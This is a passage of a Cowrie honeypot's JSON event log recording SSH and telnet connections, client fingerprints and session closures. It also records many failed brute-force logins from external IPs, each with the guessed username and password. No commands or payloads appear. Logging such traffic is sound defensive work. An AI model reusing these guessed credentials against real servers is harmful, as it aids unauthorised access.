v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:13:57.229730Z","src_ip":"103.27.238.116","session":"ad9307b0f70a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vsevolod","message":"login attempt [root/vsevolod] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:13:58.005176Z","src_ip":"103.27.238.120","session":"656d263968d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nikita2","message":"login attempt [root/nikita2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:13:58.041927Z","src_ip":"103.27.238.116","session":"ad9307b0f70a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:13:59.272205Z","src_ip":"103.27.238.120","session":"656d263968d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:13:59.314882Z","src_ip":"103.27.238.116","session":"ad9307b0f70a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":57740,"dst_ip":"159.203.135.109","dst_port":22,"session":"efb0e2789940","protocol":"ssh","message":"New connection: 103.82.20.28:57740 (159.203.135.109:22) [session: efb0e2789940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:14:00.188952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:14:00.199383Z","src_ip":"103.82.20.28","session":"efb0e2789940","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:14:00.480689Z","src_ip":"103.82.20.28","session":"efb0e2789940","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":52610,"dst_ip":"159.203.135.109","dst_port":22,"session":"f309cd2521fe","protocol":"ssh","message":"New connection: 185.236.22.41:52610 (159.203.135.109:22) [session: f309cd2521fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:14:00.885791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:14:00.891650Z","src_ip":"185.236.22.41","session":"f309cd2521fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:14:01.002832Z","src_ip":"185.236.22.41","session":"f309cd2521fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12356789","message":"login attempt [root/12356789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:14:01.303571Z","src_ip":"103.82.20.28","session":"efb0e2789940","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kovaleva","message":"login attempt [root/kovaleva] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:14:01.470698Z","src_ip":"185.236.22.41","session":"f309cd2521fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:14:02.579575Z","src_ip":"103.82.20.28","session":"efb0e2789940","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:14:02.590486Z","src_ip":"185.236.22.41","session":"f309cd2521fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":54058,"dst_ip":"159.203.135.109","dst_port":23,"session":"9da7add479e0","protocol":"telnet","message":"New connection: 135.148.14.151:54058 (159.203.135.109:23) [session: 9da7add479e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:14:10.677332Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.227.114.179","src_port":36669,"dst_ip":"159.203.135.109","dst_port":23,"session":"828377fcb013","protocol":"telnet","message":"New connection: 115.227.114.179:36669 (159.203.135.109:23) [session: 828377fcb013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:14:12.049532Z"}
{"eventid":"cowrie.session.closed","duration":37.25732469558716,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:14:21.589499Z","src_ip":"135.148.14.151","session":"ee7c74bc5cf5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":33430,"dst_ip":"159.203.135.109","dst_port":23,"session":"61f9d1204451","protocol":"telnet","message":"New connection: 135.148.14.151:33430 (159.203.135.109:23) [session: 61f9d1204451]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:14:21.889151Z"}
{"eventid":"cowrie.session.closed","duration":12.819269895553589,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:14:24.868647Z","src_ip":"115.227.114.179","session":"828377fcb013","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39824,"dst_ip":"159.203.135.109","dst_port":23,"session":"53898cf39cfb","protocol":"telnet","message":"New connection: 135.148.14.151:39824 (159.203.135.109:23) [session: 53898cf39cfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:14:42.232913Z"}
{"eventid":"cowrie.session.closed","duration":32.50992155075073,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:14:43.187114Z","src_ip":"135.148.14.151","session":"9da7add479e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43346,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6370ee68371","protocol":"telnet","message":"New connection: 135.148.14.151:43346 (159.203.135.109:23) [session: d6370ee68371]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:14:44.226691Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46394,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd5a8c1609d2","protocol":"telnet","message":"New connection: 135.148.14.151:46394 (159.203.135.109:23) [session: cd5a8c1609d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:14:53.253741Z"}
{"eventid":"cowrie.session.closed","duration":37.38284635543823,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:14:59.271887Z","src_ip":"135.148.14.151","session":"61f9d1204451","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":50296,"dst_ip":"159.203.135.109","dst_port":23,"session":"e24cec31fe3d","protocol":"telnet","message":"New connection: 135.148.14.151:50296 (159.203.135.109:23) [session: e24cec31fe3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:14:59.607498Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52268,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7721b26c486","protocol":"telnet","message":"New connection: 135.148.14.151:52268 (159.203.135.109:23) [session: a7721b26c486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:15:04.413169Z"}
{"eventid":"cowrie.session.closed","duration":32.20309138298035,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:15:14.435869Z","src_ip":"135.148.14.151","session":"53898cf39cfb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.52018165588379,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:15:18.746761Z","src_ip":"135.148.14.151","session":"d6370ee68371","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":57288,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f1e463c65af","protocol":"telnet","message":"New connection: 135.148.14.151:57288 (159.203.135.109:23) [session: 3f1e463c65af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:15:23.190524Z"}
{"eventid":"cowrie.session.closed","duration":32.34516453742981,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:15:25.598790Z","src_ip":"135.148.14.151","session":"cd5a8c1609d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":33312,"dst_ip":"159.203.135.109","dst_port":23,"session":"12c8ef791ee5","protocol":"telnet","message":"New connection: 135.148.14.151:33312 (159.203.135.109:23) [session: 12c8ef791ee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:15:26.869739Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":36482,"dst_ip":"159.203.135.109","dst_port":23,"session":"15711257a235","protocol":"telnet","message":"New connection: 135.148.14.151:36482 (159.203.135.109:23) [session: 15711257a235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:15:33.013439Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":36886,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2a3d99b45cc","protocol":"telnet","message":"New connection: 135.148.14.151:36886 (159.203.135.109:23) [session: b2a3d99b45cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:15:33.805593Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37778,"dst_ip":"159.203.135.109","dst_port":23,"session":"d541a2fe3fea","protocol":"telnet","message":"New connection: 135.148.14.151:37778 (159.203.135.109:23) [session: d541a2fe3fea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:15:35.811952Z"}
{"eventid":"cowrie.session.closed","duration":38.99865961074829,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:15:38.606071Z","src_ip":"135.148.14.151","session":"e24cec31fe3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.883362770080566,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:15:42.296404Z","src_ip":"135.148.14.151","session":"a7721b26c486","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00198078155518,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:15:43.278198Z","src_ip":"50.83.25.175","session":"7760f8c8472b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44970,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a8bc27d134c","protocol":"telnet","message":"New connection: 135.148.14.151:44970 (159.203.135.109:23) [session: 3a8bc27d134c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:15:51.790616Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59696,"dst_ip":"159.203.135.109","dst_port":23,"session":"74564aa123b4","protocol":"telnet","message":"New connection: 135.148.14.151:59696 (159.203.135.109:23) [session: 74564aa123b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:15:53.162205Z"}
{"eventid":"cowrie.session.closed","duration":0.9408688545227051,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:15:54.102953Z","src_ip":"135.148.14.151","session":"74564aa123b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48044,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac4b7a016542","protocol":"telnet","message":"New connection: 135.148.14.151:48044 (159.203.135.109:23) [session: ac4b7a016542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:15:58.325435Z"}
{"eventid":"cowrie.session.closed","duration":35.30988264083862,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:15:58.500456Z","src_ip":"135.148.14.151","session":"3f1e463c65af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.414289474487305,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:16:02.283923Z","src_ip":"135.148.14.151","session":"12c8ef791ee5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":49898,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1c660646ee5","protocol":"telnet","message":"New connection: 135.148.14.151:49898 (159.203.135.109:23) [session: a1c660646ee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:16:03.363751Z"}
{"eventid":"cowrie.session.closed","duration":34.589717626571655,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:16:07.602986Z","src_ip":"135.148.14.151","session":"15711257a235","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.26128315925598,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:16:08.066746Z","src_ip":"135.148.14.151","session":"b2a3d99b45cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":16757,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7454a055e26","protocol":"ssh","message":"New connection: 2.57.121.25:16757 (10.17.0.5:22) [session: e7454a055e26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:16:10.142294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:16:10.147588Z","src_ip":"2.57.121.25","session":"e7454a055e26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:16:10.254726Z","src_ip":"2.57.121.25","session":"e7454a055e26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"100488","message":"login attempt [user/100488] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:16:10.756518Z","src_ip":"2.57.121.25","session":"e7454a055e26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"10041977","message":"login attempt [user/10041977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:16:11.870880Z","src_ip":"2.57.121.25","session":"e7454a055e26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.80383038520813,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:16:12.615664Z","src_ip":"135.148.14.151","session":"d541a2fe3fea","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"10031994","message":"login attempt [user/10031994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:16:12.981228Z","src_ip":"2.57.121.25","session":"e7454a055e26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"10021979","message":"login attempt [user/10021979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:16:14.091387Z","src_ip":"2.57.121.25","session":"e7454a055e26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"10011977","message":"login attempt [user/10011977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:16:15.202100Z","src_ip":"2.57.121.25","session":"e7454a055e26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:16:16.316822Z","src_ip":"2.57.121.25","session":"e7454a055e26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.081040143966675,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:16:27.871527Z","src_ip":"135.148.14.151","session":"3a8bc27d134c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.37475371360779,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:16:35.700061Z","src_ip":"135.148.14.151","session":"ac4b7a016542","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.22002410888672,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:16:39.583632Z","src_ip":"135.148.14.151","session":"a1c660646ee5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51698,"dst_ip":"159.203.135.109","dst_port":23,"session":"032646a9dbee","protocol":"telnet","message":"New connection: 135.148.14.151:51698 (159.203.135.109:23) [session: 032646a9dbee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:17:09.004301Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51964,"dst_ip":"159.203.135.109","dst_port":23,"session":"df8264bd8015","protocol":"telnet","message":"New connection: 135.148.14.151:51964 (159.203.135.109:23) [session: df8264bd8015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:17:11.564008Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52904,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8a79974802f","protocol":"telnet","message":"New connection: 135.148.14.151:52904 (159.203.135.109:23) [session: f8a79974802f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:17:12.960037Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":53340,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f700b9a38b7","protocol":"ssh","message":"New connection: 62.133.62.83:53340 (10.17.0.5:22) [session: 4f700b9a38b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:17:26.193918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:17:26.199369Z","src_ip":"62.133.62.83","session":"4f700b9a38b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2